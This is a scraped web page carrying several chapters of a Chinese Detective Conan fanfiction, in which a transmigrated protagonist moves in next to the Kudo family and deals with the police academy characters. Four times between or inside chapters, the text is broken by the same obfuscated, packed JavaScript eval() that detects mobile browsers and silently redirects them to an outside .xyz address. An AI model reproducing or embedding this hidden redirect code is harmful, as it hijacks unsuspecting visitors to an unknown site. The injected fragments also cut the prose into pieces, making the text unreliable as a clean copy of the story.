;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835128|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔名叫渡边影,偶尔灵感来了就随便写写,和那些大佬相比根本不值一提啦。]” “[至于赚钱,其实我有在玩股票,先前捞了一大笔钱来着。]” * 我真傻,真的。 诸伏清浅木着一张脸,绝望地想着。 身处米花町怎么能够大意,当他觉得这个地址熟悉的时候就应该提起十二分警惕,而不是到“家”门口了才反应过来—— 这他妈能不熟悉吗?!隔壁那户人家,他的亲亲邻居,姓工藤!工藤! 藏东西?笑死,藏不了一点,当初自己为了确保这套房子履历干净他甚至是自掏腰包付款的,压根没动组织一分钱或人脉。 给他八百个胆子他都不敢在主角以及智商天花板的主角他爹面前蹦跶啊! “小浅井?没事吧?脸色很白哦。”萩原研二及时察觉到清浅的不对。 “[……没事。]”他虚弱地回答。 他是真的有点胃疼了,物理和精神上都是。 他当初为什么会买下这栋别墅来着?哦,因为主角家附近绝对不会发生案件,身为红方大本营绝对安全,有时候说不定还能借主角光环躲一躲组织呢。 但因为害怕敏锐的工藤父子会迅速扒掉他的身份,这套房子就一直放在这里没敢住。 所幸他有叫家政定时过来打理,别墅外还看的过去,到家门口后用“因为才搬过来没多久屋子里很乱不方便待客,等他整理好再请二位来做客”的理由和警官先生们交换LINE后打发掉他们就能够勉强糊弄过去。 走在回警视厅的路上,沉默许久的萩原研二总算抬头,语气沉重:“小阵平,我想起来了。” “嗯哼?”松田嘴里咬着烟,懒散地应了一句表示自己在听。 “我想起来我在哪里听说过渡边影这个名字了。” 松田这时视线终于舍得转过来。 “你还记得去年我们看过的那本超级火的小说吗?” “谁会记得那种事啊——”松田阵平先是下意识地吐槽一句,然后在记忆里检索一遍,还算轻松地翻出萩原说的那本书的名字。“《黄昏后的黎明》?” 松田阵平想起来的原因无他,这本书实在是太火了,当时因其欢乐的叙事风格和全是刀子的剧情把许多读者骗进来杀,秉着“我被刀谁也别想好过”的想法向周围的人安利,越传越广,热度越来越大。 松田和萩原?他俩也是受害者之一。 “嗯……《黄昏后的黎明》的作者就是渡边影。” 松田:? 松田:“哈?” 假的吧?! “我倒是认为小浅井没骗我们啦。”萩原研二读懂了幼驯染的不可置信,他痛心疾首:“应该没有人敢冒充渡边老师吧?你知道有多少人想给渡边老师寄刀片吗?!” 甚至他就是其中之一! 而诸伏·渡边影·清浅在打扫屋子的时候收到萩原研二哀怨的邮件,连打数个喷嚏就是后话了。 ……唉,反正组织的事情不太急,先整理整理浅井尘的身份经营吧,接下来要面临期末考核了。 诸伏清浅站在屋子里叉腰,为与红方扯皮试探的未来叹气。 16. 你别过来啊! 工藤新一,今年十岁,国小四年级生,在知识的海洋绝赞扑腾中。 不过今天是周末,他得以将自己从苦海中拔出来缓口气,气都没喘匀就抱着个足球跑去小公园和青梅玩了个尽兴。 ——而代价则是一不小心忘了时间,回过神来傍晚的火烧云早就烧红了天空。 工藤新一:…… 完了完了,已经到饭点了他还没回去,一定会被老妈骂吧? 青涩的小孩慌张地捞起足球,和青梅匆匆告别后拔腿就往家跑,丝毫没有成年人“事已至此”的游刃有余。 嘶——! “哎哟!” 急于赶路的后果就是在拐角处和路人撞了个趔趄。但好在和他相撞的大哥哥反应很快,一把拽住了他,免去了他在地上摔个屁股墩儿的悲剧。 “对不起,我没看路……” 乖巧的真·小学生借着对方的力站好,老老实实地道歉,但体内的侦探因子随着对对方的观察而调动起来。 ……咦? 大哥哥最显眼的地方无疑是他眼前蒙着的黑布,长长的黑发被拢在身前一侧,因为主人弯腰的动作在空中微微晃荡。 他的嘴角嚅着一抹笑意,即使眼睛被蒙住也能从对方温和的气质中看出对方绝逼是个帅哥。 ——当然,遗传了老爸和老妈颜值的他他也不差,他以后肯定也是个帅哥! 身为影后之子的小孩思绪飘忽一瞬,然后被对方的动作弄回神。 青年从喉咙里溢出一声轻笑,揉了揉未来大侦探的头发,然后比划了一番。 工藤新一:? ……失策,他还没学手语。 不只是个盲人,还是个哑巴吗? 似乎反应过来小孩子看不懂,青年翻出手机敲打,不一会儿一道无机质的电子音响起。 “[抱歉抱歉,没有受伤吧?无论事情有多急也要好好看路哦。]” “我知道了,谢谢大哥哥。”和电子音对话的体验颇为新奇,工藤新一将撞倒在地上的导盲杖还给对方,目光不由自主地落在对方的手上。 茧子……好奇怪。 “对了大哥哥,你要去哪里?我可以带你去哦。”小侦探被引起了好奇心,决定缠住对方。 反正现在这个时间点早回晚回都会被老妈骂,他也不急着回家。 “[啊,谢谢?我准备回家啦,离这儿不远,我自己也可以的。]” “没关系的,我家也在附近。” “[这样啊……好吧。]”青年挠挠头,“[我家在2丁目20番地,麻烦你了小弟弟。]” 20番地,那不就是他家隔壁吗! “原来那里真的有人住啊……”工藤新一自言感叹一句,“那不是巧了嘛,我就住在21番地。” “[21番地……你是工藤家的孩子?]” “对,我是工藤新一,是个侦探!” “[哎呀……侦探吗?很不错的梦想呢——我是浅井尘,是个自由职业者哦。]” 浅井尘,姓氏对上了,20番地宅邸的名牌确实是浅井。 不过自由职业者手上会有这么多茧子吗?而且基于本人是个盲哑人的情况下。 他还是很在意。 但小侦探没有技巧全是感情的直白套话被身经百战的青年不着痕迹地绕过,到最后话没套到多少,反而回家挨了自家老妈一顿批。 “……等等,新酱,你有在听吗?” 迎着老妈犀利的视线工藤新一一激灵回神,猛地点头。 他有在听!……咳。 前·影后工藤有希子:…… 她生了个什么糟心玩意儿,演技是一点也没遗传到啊。 “嘛,是路上遇到什么事了吗?”工藤优作打圆场。 “嗯!”工藤新一顺着台阶连滚带爬地下去,“我遇到了隔壁家的浅井哥哥!” “隔壁?原来那里有人住的吗?”工藤有希子发出和儿子一样的感叹。 “这样啊……那下次找个时间去拜访一下吧。”工藤优作听完儿子的描述,若有所思。 * 种花的黄历在日本有用吗? 有没有用诸伏清浅不知道,但今天他绝对是不宜出门。 虽然知道住在这里迟早会和未来主角碰上,但真正见面时他的内心还是止不住地尖叫。 ……各种意义上的。 和小侦探撞上了:妈呀你不要过来啊啊啊! 小侦探套话:救命啊你不要再问啦啊啊啊 搓小侦探脑袋:卧槽我搓到主角脑袋了啊啊啊! 小侦探帮忙带路:宝宝你真是个小天使呜呜呜。 ……总之,回到家后诸伏清浅不管地上脏不脏,关好门后直接倒在玄关的地板上挺尸,颤颤巍巍地吐魂。 ……好累(被吓的)。 * 诸伏清浅是被吓醒的。 夏特勒兹回日本才没多久,根基不稳,需要花费大量时间发展属于自己的情报网,他需要操心的事情格外多。 互联网无疑是个获取情报的好途径,但80年代的网络实在不敢恭维,诸伏清浅COS了大半夜电子幽灵也累得够呛,天蒙蒙亮才关了系统面板往床上一栽睡死过去。 ……然后被一声爆炸吓醒。 在超强的听力加持下,本就引人注目的爆炸犹如一块c/4/炸/弹在耳边炸开,把清浅的脑瓜子震得嗡嗡的。 他莫名想起来当初和松田阵平解释搬到这里的原因:清静。 ……这笑话有点不好笑,这里别叫别墅区了,干脆叫别睡区算了。 “博士,大早上的……你又失败了啊。” “啊哈哈……新一你醒了啊。” 小侦探和慈祥发明家的对话传入耳朵,听这架势显然这种事情已经不是第一次发生,并且有可能成为诸伏清浅以后的生活常态。 他躺在床上等待大脑彻底开机,然后措不及防地被系统设置的起床闹铃轰炸了一遍。 诸伏清浅:…… 清醒了清醒了!他这就起! 在闹钟响前两分钟被吵醒的无力感和今天待办事项的数量让卑微打工人破防。 * 工藤新一对他的新邻居很好奇,非常好奇。 他家隔壁的房子一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835129|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有主他是知道的,因为自他记事起他就能看到有家政定期前往那里打扫,几年下来风雨无阻。就连他都知道那栋房子的钥匙在壁灯灯柱的暗格里,想要进去直接拿就行。 ……当然,违法乱纪的事情他是不会做的。 他也不止一次生出过担忧:就连他都知道钥匙在哪,屋主就不怕房子里的东西被偷吗? 答案是不怕。 当时家政人员是个和蔼的大妈,听到他的疑问笑呵呵地摆摆手。 “怕什么?里面又没什么好偷的。” 确实没什么好偷的,一间样板间空有几件大件家具,连个多余的装饰也没有,难不成要偷被子枕头吗?小偷来了都得摇头,高低啐两口再走。 被大妈悄悄带进去逛过一圈后,看着毫无生气的屋子小侦探冷漠总结。 如今龙王归来(糟了被园子的小说荼毒了),他总得去会会。 可惜单刀赴会的计划中道崩殂,在莽过去前他被亲爱的有希子姐姐敏锐发现了。有希子女士塞了一袋点心给儿子并叨叨了一大堆后她还是不放心儿子的情商,最终还是决定和儿子一块过去,省得自家小孩儿得罪人家。 工藤新一:“……” 他觉得老妈跟他一块过去的一大原因可能是昨天他说过浅井哥哥好看,但直觉告诉他最好不要说出来,不然他会很惨。 很显然,用情商换的智商救了他一命。 叮咚—— 门铃的声音被捕捉,诸伏清浅终于舍得从手绘板里抬头,但一脸茫然满头问号。 他有些不解地回忆起现在不是午饭时间,而他刚刚确实没有点外卖——现在能有谁来摁他门铃? ——当然是他的亲亲邻居啦! 看着系统面板上代表绿色的友方定位和金色的主角定位,诸伏清浅无比庆幸今天的时间划分给了赶稿而不是组织事物的处理,不然他真的很难保证不在主角面前露出破绽。 咔嗒。 等待半晌,工藤母子看见别墅大门开了条缝,一个毛茸茸的脑袋探出来,似乎很惊讶访客的来临。 青年的眼前蒙着黑布,大号的无帽卫衣套在身上有些空荡,手里拄着导盲杖慢慢地挪到前院大门处与来访者接触。 “[那个,请问……]” “你好~我们是隔壁的邻居工藤,听我儿子说浅井宅的主人回来了所以特地来拜访一下——如果有什么事需要帮忙的话可以找我们哦~” “[诶?…啊,你好,谢谢您的好意,我叫浅井尘——要进来坐坐吗?]” 青年似乎是头一次遇到这种事,有些手足无措地打字回应,连无机质的电子音都显得磕磕绊绊的。 “[那个……抱歉,我不太擅长社交——以后也请工藤夫人多多关照了。]” 工藤有希子自然是笑着说不必客气——她对眼前的青年确实好奇,对方看上去年纪并不大,目不能视口不能言的生活难免会有困难,作为邻居帮扶一下也是理所应当——咳,绝对不是因为浅井君是个小帅哥! 当然,和电子音对话的感觉也颇为新奇。 活泼的女演员眨眨眼,带着同样好奇的儿子进门。 17. 催稿 残疾人始终算是少数群体,在日常生活中难得一见,对他们产生好奇也是人之常情。 进门后工藤新一毫不掩饰地打量屋子里的陈设(反正浅井哥哥看不到),一时间也有些惊叹。 浅井尘是个生活气息很浓厚的人,虽然屋子的风格基调是现代简约风,但暖色调的家具让人不自觉的放松。 一楼是客厅、厨房、饭厅和客卧。厨房是开放式的,浅井尘甚至专门开设了一个吧台供自己调酒玩——等等。 “浅井君成年了吗?” “[再等一年就能喝了。]”青年熟练地走进吧台,摸出茶包和雪克杯,给客人整了两杯轻乳茶。“[偶尔也会调一些无酒精的饮料——尝尝?轻乳茶,不知道合不合口味。]” 组织对酒文化的热衷可不会因为你未成年而放过你。浅井尘的人设经营不能出错,所以开封的酒瓶子全被他塞桌底下了。 诸伏清浅对酒无感,但对奶茶极其热衷。如今奶茶文化尚未盛行,前世曾在奶茶店打工的他只好自食其力。 “唔,好喝!” 甜食最能俘获女孩的欢心,没有人能拒绝奶茶。工藤有希子捧着杯子和浅井尘攀谈,顺带镇压了一番在沙发上不安分扭动的儿子。 与浅井君对话确实有些困难,但令人惊讶的是对方知识面的广泛和深度,无论哪个话题都能接的上话,并提供一些有趣的建议。 比如现在,他们就染发是黑茶棕好还是冷咖棕好展开了讨论。 不都是棕色吗?工藤新一不解,但大受震撼。 “这么对比下来果然还是冷咖色更适合一点——啊啊,帮大忙了小尘——我可以这么称呼你吧——优作只会说都好看,一点也帮不上忙!” “[唔,或许在工藤先生眼里有希子女士无论染哪一种颜色都好看吧?毕竟情人眼里出西施嘛,二位的感情让人羡慕。]” 诸伏清浅艰难地回想着语言的艺术,选择委婉的夸夸并小心绕过评价他人的陷阱,顺便丝滑的转移话题。 “[新一君要是无聊的话可以去书房找书看看——啊,要参观一下我家吗?虽然不太了解这个年纪的小孩子喜欢什么,但应该总有一些喜好与我的职业接壤。]” 书房直接打通一楼和二楼,直插天花板的书架上书籍塞得满满当当,就连连通二层的楼梯也是由书柜堆砌而成,非常独特的创意。 工藤新一进到书房眼睛都亮了。虽然他家的书房比这里大书也比这里多,他至今仍没看完——但这并不妨碍他拥有双倍的快乐! “呐呐,浅井哥哥!我以后能来你这里看书吗?” ——然后兴奋的他被母亲制裁了。 “[当然可以啊,你能喜欢就再好不过了。]” 既然主人家都同意了工藤有希子也不好再说什么,只好暗地里用凶狠的眼神瞪视警告儿子不要给人家添麻烦。 “说起来小尘的职业是什么?” “[我是自由职业呢,事实上不用出门的职业我多少都有做来着——小说家,漫画家,画家,作曲家什么的,三楼就是一半录音室一半画室呢。]” “这么多……做得过来吗?”工藤有希子避开了盲哑人能否做到的问题。 “[嘛,因为社交需求少反倒有更多时间来消磨了——反正也就随便搞搞,养活自己就行。]” ——可浅井尘的经济状况反映对方肯定不只是随便搞搞。 “方便问一下小尘的笔名是什么吗?”浅井尘的作品应该给他带来了可观的收入,但她从来没听说过对方的名号——那么对方大概用了其他笔名来保护自己的真实身份,盲哑人的身份还是太过受限了。 “[小说的笔名的话是渡边影,漫画的笔名是绿川三鹤,作曲家用的是本名浅井尘。]” 工藤新一:“……诶?” 工藤有希子:“是我想的那个吗——那个可恶的刀子精渡边影!” 渡边影是谁?刀子精转世!代表作或许有很多,但他的标志性作品绝对是如今爆火、仍在连载的《黄昏后的黎明》! 《黄昏后的黎明》乃是一个融合了无限流副本元素的架空正剧向故事,采用双线并行的模式叙事。明线为主角夏树阳江千辛万苦进入副本攻略组,在大大小小的副本世界里通关获取资源造福国家,暗线则是利益阶层的布局洗牌。 叙事风格轻快,人物塑造生动,情节是别具一格的烧脑推理,剧情沉重无比,好好的一个群像故事却死的死死的死死的死死的死。 读者新奇于与市场上悬疑推理小说风格不同的推理逻辑游戏,笑倒于角色活泼有趣的对话和玩梗,哀嚎于剧情下各种角色的悲惨落幕,愤恨于作者渡边老贼在后记中的拉仇恨发言—— 是的,拉仇恨,某位作者在第一卷就公然发出“这是一场读者与作者间酣畅淋漓的对决”的感叹和“接下来夏树将面临更严峻的挑战”的恶魔低语,并在前不久的12月7日发行了第二卷。 ——然后把包括工藤有希子在内的读者刀得恍恍惚惚。 “夏树阳江和你有仇吗?!”有希子女士发出众多读者的心声。 工藤新一?工藤新一这个年纪还看不太明白作品的内涵,但熬夜看完第二卷后惨烈的剧情让他看完缓了好久都没缓过来。 想起毛利兰还有铃木园子和他聊过这本书,似乎还期待了许久第二卷发行的工藤新一:…… 绝对、绝对不要让兰看第二卷! 她绝对会哭的! 而绿川三鹤…… “是那个《我想和你贴贴》的作者绿川三鹤吗?”工藤新一问。 《我想和你贴贴》则是一部可爱治愈向漫画,里面可爱的角色和温馨日常俘获了不少芳心。 “[啊…是的,都是我。]” 工藤有希子叹为观止:“你是怎么做到一边刀一边糖的?” 两边都是你,渡边影捅一刀绿川三鹤给颗糖,将读者玩弄于股掌之间——你是魔鬼吗?! “[呃……谢谢夸奖?]” 没人在夸你! 青年没有料到这种情况,手足无措一会儿后挠挠头:“[放心啦,结局肯定是HE。]”我可是甜文作者! 二楼是各个客房卧室,除了浅井尘睡的主卧其他房间里或多或少都添加了一屋子各大IP的周边装饰。三楼的录音室里乐器不多但种类齐全,工藤新一甚至看到了几样种花那边的乐器。画室里倒是有些杂乱,稿纸铺了一地,桌上还有未完成的画稿——《我想和你贴贴》的,看来在他们来访前浅井尘在画稿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835130|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 在得到几本亲签书作为贿赂后有希子女士才大发慈悲放弃了给对方寄刀片的计划。而浅井尘在送二位客人回家时—— 被抓住了。 “哎呀?竹内编辑?优作在家哦。” 竹内编辑,不如说是工藤优作的专属催稿人。这位编辑眼下挂着浓厚的黑眼圈,下巴的胡茬又冒了出来。他一手夹着一张……毛毯?朝有希子女士问了声好。 ——啊,这位编辑先生看来是打算在工藤宅门口打地铺催稿了。 但——竹内编辑你为什么抓我啊?我不是才把第二卷的稿子给你了吗! 是的,竹内编辑不只是工藤优作的编辑,更是渡边影的编辑。 “渡边君,番外。” 浅井尘:“……” 浅井尘:“[第二卷才发了几天啊你就来求番外,之前不是说好了番外明年再说的吗?]” 竹内编辑:“读者们都快把出版社的电话打爆了。”而他也一天没睡了。 ……懂了,编辑想把自己丢出去吸引火力还出版社一个清静。 于是乎,可怜的渡边先生被薅去工藤宅,在工藤宅的书房与卡文卡得头发乱成鸡窝的工藤优作面面厮觑。 睿智儒雅的推理小说家?不存在的,这里只有一位陷入死线地狱的卑微码字人。 工藤优作已经没有精力去探究新邻居身上的秘密了,邻居间的打招呼变成了同病相怜的拍肩安慰——然后在竹内大魔王的眼神逼迫下再次陷入卡文的崩溃中。 而这个时候诸伏清浅就无比感谢脑袋里系统的存在了。系统是用意念操作的,而他给系统安装了Word文档的运行代码后—— 是的,他实现了万千码字人的梦想:脑内意念码字! 所以在工藤优作等其他人看来,浅井尘不过是手捧红茶杯在沙发上慢慢啜饮,一动不动地坐了快两个小时。 ……然后突然间翻出手机开始噼里啪啦一顿敲。 竹内编辑警觉:“渡边君,你写的不是刀,对吧?” 浅井· AKA渡边影·尘动作一僵,手指缓慢且不情不愿地挪到删除键上。 竹内&优作:…… 都番外了你还想写刀?! 工藤优作原本以为这位年轻的浅井君在手机上用邮箱码字已经够独特了,但对方敲了大半天后施施然告辞离开是几个意思?啊?你这就写完了?! 竹内编辑花了好些时间看完浅井尘发来的稿子,完了猛地合上手机深吸一口气。 ——没事哒没事哒,不就是番外看似甜文但内里还是刀子嘛,跟了渡边君一年多了他也算是亲眼见证了对方如何造出一把又一把的刀子,把人刀得死去活来还不改的……个鬼啊! 他就不能写点真正快乐的东西吗?! 丝毫没有反应过来其实是自己习惯性找刀吃的竹内编辑朝工藤优作露出一个和善的微笑: “工藤老师,渡边老师已经写完两万字的番外了——”所以你的呢? 压力来到工藤优作这边:“……在写了在写了。” 浅井君!为什么你能写这么快!宁写文是现写现交就算了但你竟然不卡文吗?? 工藤·咕咕精·优作内心小人伸出尔康手,发出不理解的呐喊。 18. 拜访 浅井尘是个好人。 在催稿风波过去后对方又挑了个时间拜访工藤家,带着小点心伴手礼的那种。 据说是亲手做的,善解人意的工藤一家不会去问对方目不能视的情况下如何烤出一盘小饼干,他们只会珍重地收下小邻居的礼物。 有希子女士显然很高兴小邻居的拜访,拉着人家的手兴奋地说起最新时尚杂志的裙子。浅井尘听得懵懵懂懂,不知从哪儿掏出草稿本根据对方的描述画裙子。 “不对不对,它的蕾丝边没那么短,而且它的袖子是泡泡袖的改良版……” 在三两笔勾勒出裙子的正确轮廓后浅井尘恍然大悟:“[哦哦这样的话它适合在……]” 工藤优作在一旁根本插不上话,悄悄和儿子感叹:“浅井君很厉害。” 工藤新一默默点头。 ”[因为看不见,所以需要通过其他方式来认人。声音啊衣服啊足音啊体重啊都是判断的依据,久而久之就了解了。]” 敏锐的听力是失去视力后的补偿。浅井君腼腆一笑,电子音流畅地回答了对方的感叹。 “[说起来——新一君,这个给你。]” 工藤新一接住对方扔过来的钥匙,有些没反应过来。“诶?这个是……” “[我家的钥匙。因为要找灵感我总是到处乱跑,一年下来回来住的时间可能都没有一个月——如今搬过来住家里的东西多起来,也不适合把钥匙随便往壁灯上扔——你应该也知道那个放钥匙的暗格? 总之我想拜托你帮忙保管钥匙,报酬的话——我家书房的所有权限为你敞开?你随时可以来我家看书。]” “这会不会太……”有希子女士微微皱眉,她总觉得她的新姐妹(是的,姐妹)太过心大。家钥匙是能随便托付的东西吗? “[嘛,虽然但是,我在认人方面还算不错,我相信有希子女士还有工藤先生、新一君的品行。而且就像新一君所说过的那样,喜欢福尔摩斯的——]” “都是好人!”工藤新一兴奋接话。 工藤优作定定地看了眼浅井尘,沉思半晌后说:“某种意义上来说,我还是很敬佩浅井君的——需要帮忙吗?” 诸伏清浅一顿,嘴角微微勾起。 “[啊——说实话我的脾气比较倔,自认为自己一个人也能过好,但我也不会忽视自己的不足就是啦——有需要的话我会求助的。]” 工藤优作眨眨眼,露出一个温和的笑。“是吗,那就好。” * “总觉得你们在打什么哑谜。”浅井尘告辞后有希子女士眯起眼“审视”自己的丈夫。 “老爸,浅井哥哥有问题?”如果工藤新一是猫猫,那么他此时的耳朵一定支楞起来了。 “没事,正常接触就行。”工藤优作不过多言,揉了把儿子的短发。 “能写出《黄昏后的黎明》这等现象级作品的孩子就算是坏人也坏不到哪里去。” 有希子女士若有所思,而工藤新一有些不解于父亲的断言,总觉得对方的判断和自己的“喜欢福尔摩斯的都是好人”有着异曲同工之妙。但既然比自己厉害的老爸透过底,他也不必太过担忧——反正他自己也能挖出真相! * 一无所获。 工藤新一在吧台捧着奶茶杯,看着黒缎缠目的青年在厨房谨慎地烤松饼。 浅井尘真的很厉害,要不是他眼前的黑布过于明显,工藤新一都差点以为对方是个健全的普通人了。 ——怎么看都是一个热爱生活的御宅族啊,前两天还端了两盒假面超人卡片拉着他一起拆卡呢。 他往嘴里塞了一小块松饼,好处的味道让他满足地微微眯眼。 叮咚—— 诶?有客人? “[啊——这么快就来啦?新一君,能帮我给客人开下门吗——我现在稍微有点走不开。]”确实走不开,看不见的情况下他必须时刻关注着松饼的状态。 工藤新一应了声,打了个招呼就出去帮忙接客。 “嚯,小孩儿?” 准备开门的工藤新一如敏锐的小动物浑身一抖,和一个戴着墨镜浑身散发着黑//帮大佬气质的卷毛青年对上视线。 “噗,小阵平,吓到小朋友了啦。” 卷发青年不在意地“嘁”了一声。 坏人?好人? 工藤新一上下扫视着眼前的两人,各种线索被他抓获处理,CPU转得飞快。 “你好哦小朋友,我是萩原研二,旁边这位看起来很凶的帅哥是我的幼驯染松田阵平——我们是被小浅井邀请过来做客的,能放我们进去吗?” ……啊。 当新一看到萩原研二的脸时一愣,并不算久远的记忆很快被检索出来,脸上隐隐戒备的神色瞬间消散放松。 是那个时候的警校大哥哥。 “[新一君——是萩原先生和松田先生来了吗?]”诸伏清浅从门口探出个脑袋。 “啊,小浅井!”萩原研二看见黑布缠目的青年双眼一亮,朝对方招了招手。“最近还好吗?” 两人在工藤新一的带领下进屋,松田阵平将墨镜取下塞到领口,将社交全权交给幼驯染后懒散地打了个哈欠,顺带参观打量起屋内的装饰。 萩新认识的小朋友并不是善于社交的类型,甚至可以说对方并不愿意和他们扯上太多的关系,他还以为先前不方便见客的理由是推辞的说辞呢。 再次声明一点,只要萩原研二想,就没有他交不到的朋友。不过是片刻的功夫,他就已经和那个浅井邻居家的小孩聊开了,甚至因其大作家工藤优作之子的身份他们达成了催更的统一战线——工藤先生,真惨。 当然,催更这种事情渡边影也逃不过,只是相较于鸽子精工藤优作,他们面对刀子精渡边影的催更方式就更……恐怖一点?但在对方“我大纲都写好了结局一定HE”的宣告下只能咬牙切齿地敲诈(是的,敲诈)对方几顿吃的——浅井尘的烤松饼意外的好吃。 “[反正我烤了很多,萩原先生和松田先生要是喜欢的话就带一些回去吧——反正我也吃不完。]”前世“绝对不能让客人空手而归”的习惯让诸伏清浅下意识地打包一堆东西让两位警官带回家,在面对对方的推辞之词时他挠了挠头。 “[其实再过几天我打算飞一趟苏联,下一部作品有些情节的设计需要实地考察参考,所以家里会没人,放在我这里就是吃灰——还不如请你们帮忙处理一点呢。]” 虽然你说的有道理但为什么我总觉得你说的是借口呢。 萩原研二欲言又止,毕竟以小浅井的情况来讲家里有最新款的拼装模型还是有点古怪(盲人也喜欢拼模型吗),但这算是对方的一片心意,二者只好收下。 嗯……下次也带些好吃的来做客吧。 * 但久而久之萩原研二就发现自己错得离谱,再一次在浅井尘家吃了个闭门羹、隔壁新一君说浅井尘已经两个月没回来后他就发现了问题。 小浅井是会隐身吗?他看着被寄到自己手里的明信片陷入沉思。为什么一直有音讯却死活找不到人呢? 根——本见不到人啊! 虽然比那两位毕业后就直接消失的同期好一点(小声)。 “感觉小浅井要成为活在line里面的幽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835131|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵了。”趴在工位上的萩原研二朝刚从高桥警部办公室回来的幼驯染吐槽道。 调职申请又被打了回来,松田阵平也不恼,随手捞过桌上的炸弹模型开始拆:“你是不是对浅井太过关注了?” “嘛,毕竟小浅井的情况这么特殊,就算会发邮件寄明信片过来报平安但还是忍不住担忧啊。” “那家伙可没你想的那么柔弱。” 萩原研二当然知道。 上次去浅井尘家里做客时他就发现了,小浅井家里的摆设挂件丰富多彩,二次元的手办模型也不少,是一个很典型的御宅族风格——整个家里热闹极了,他丝毫没把那些东西当做影响盲人活动的阻碍。 再加上他小说家漫画家等等的职业以及四处跑(估计一年四季在家的时间不足一个月)的习惯,电子音的无障碍交流,很明显就能看出对方也是一个普通人。 是的,普通人——浅井尘从不因为自身的缺陷而认为自己特殊,坚毅的性格让他一个人也能活得足够精彩。 他不需要特殊照顾,他需要的是把他当正常人对待的尊重。 “好吧好吧,那明天小阵平轮休的话顺便去买两盒假面超人的卡牌给小浅井?” 松田阵平:? 你们背着我做了什么交易? “啊哈哈,小浅井说他从苏联带了一个惊喜礼物给我们,但要我帮忙把最近新出的卡牌端两盒——拜托啦小阵平!”一眼看出幼驯染想要表达的含义,今晚要值夜班的萩原双手合十,wink了一下。 ……啧,行吧。 “……虽然萩是这么和我说的,但我还是想确认一下——”松田阵平一甩信封里的相纸,“你所说的神秘惊喜指的是炸弹图纸?” 惊喜就算了,惊吓还差不多。 他没想到萩心心念念想要见到的人刚好就今天回了家,当浅井尘把一沓炸弹的照片和图纸给他的时候他人都是懵的。 他仔细查看了里面的照片——好家伙,他完全可以确定这是现场实时拍摄,照片上形状特殊的双色□□和倒计时的显示屏让他不敢细想。 松田阵平深吸一口气:“你在现场?” “[咳,那什么……只能说是有点牵扯?被害者和我有点交集,没想到刚好撞上了。]”假的,真实情况是他从“纳达乌尼奇托基提”那里拿到消息然后提前救下受害者,并借此机会捞了一笔。 不是“刚好”,但确实撞上了(他故意的);有点交集,威逼利诱的敲诈合作关系;有点牵扯,普拉米亚也是一个关键的剧情节点人物。 他说的都是真的,没毛病。 松田阵平抓了抓自己蓬松的卷毛,脸色不太好地训了诸伏清浅两句,低头研究这颇具新意的炸弹去了。 诸伏清浅再三保证下次不会再做这么危险的事,黑布下的双眼浮现担忧的神色,但又很快被他掩饰下去。 ……普拉米亚和警校五人组交锋的时间实在与松田阵平的死劫过于相近,即使他提前知道剧情也很难合理地干涉——在世界意识的管控下干预剧情节点的发生很容易,难就难在如何给原住民一个合理的解释。 没办法,警五的能力太强,很难不翻车。 刚好这一次组织在苏联那边有一些事务需要他亲自过去交接检查,他顺手就把关于普拉米亚的一些事情布置下去——将炸弹的照片拍给松田阵平就是其中一项,让松田提前熟悉炸弹构造,他在现场拆弹的生还率就能够高上不少。 如果到时候真的能抓住普拉米亚就更好了,组织还有招揽普拉米亚的意图呢,他怎么可能让组织的算盘实现。 犯人就应该待在监狱里赎罪。 19.登场 黑衣组织。 我们至今也不知道应该如何称呼这个国际犯//罪组织,也不知道他们的首领是谁,只知道它的爪牙们以酒名为代号,常年身着黑衣,渗透于各国。 他们目无王法,毫无顾忌,参与各项恐怖活动,控制着各国各领域的重要人物,游弋在黑暗之中,无不沾满了血腥、利益与暴力。 警察厅警备局警备企划课,或者称之为公安“零组”,这是在毕业前就秘密招揽降谷零这个警校第一的“不存在”的部门,在经过长达两年的培训后,正式派出降谷零——不,现在化名为安室透的年轻警部进入这个黑暗组织进行潜伏,也就是卧底。 